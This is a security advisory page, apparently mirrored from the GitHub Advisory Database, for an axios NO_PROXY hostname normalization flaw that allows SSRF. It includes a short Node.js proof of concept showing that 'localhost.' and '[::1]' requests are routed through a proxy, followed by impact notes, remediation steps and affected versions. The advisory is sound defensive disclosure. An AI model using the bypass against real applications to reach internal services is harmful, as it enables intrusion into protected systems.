Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF
Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.
According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
PoC
import http from "http";
import axios from "axios";
const proxyPort = 5300;
http.createServer((req, res) => {
console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
res.writeHead(200, { "Content-Type": "text/plain" });
res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));
process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";
async function test(url) {
try {
await axios.get(url, { timeout: 2000 });
} catch {}
}
setTimeout(async () => {
console.log("\n[*] Testing http://localhost.:8080/");
await test("http://localhost.:8080/"); // goes through proxy
console.log("\n[*] Testing http://[::1]:8080/");
await test("http://[::1]:8080/"); // goes through proxy
}, 500);Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].
Impact
-
Applications that rely on
NO_PROXY=localhost,127.0.0.1,::1for protecting loopback/internal access are vulnerable. -
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.
Affected Versions
- Confirmed on Axios 1.12.2 (latest at time of testing).
- affects all versions that rely on Axios’ current
NO_PROXYevaluation.
Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:
- Strip trailing dots from hostnames (per RFC 3986).
- Normalize IPv6 literals by removing brackets for matching.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | axios | >= 1.0.0, < 1.15.0, < 0.31.0 | 1.15.0, 0.31.0 |
Verweise
- https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5
- https://nvd.nist.gov/vuln/detail/CVE-2025-62718
- https://github.com/axios/axios/pull/10661
- https://github.com/axios/axios/pull/10688
- https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
- https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df
- https://datatracker.ietf.org/doc/html/rfc1034#section-3.1
- https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2
- https://github.com/axios/axios
- https://github.com/axios/axios/releases/tag/v0.31.0
- https://github.com/axios/axios/releases/tag/v1.15.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N- Schwäche (CWE)
CWE-441, CWE-918- Plattform
- npm
- Paket
axios- Veröffentlicht
- 09.04.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-3p68-rc4w-qgx5 - CC BY 4.0
Schwachstellenhistorie: axios
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 55
- Erste → letzte
- 05.2019 09.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 25
- Mittel 28
- Niedrig 2
Veröffentlichungen pro Jahr
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 0
- 2023: 1
- 2024: 1
- 2025: 2
- 2026: 48
-
Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.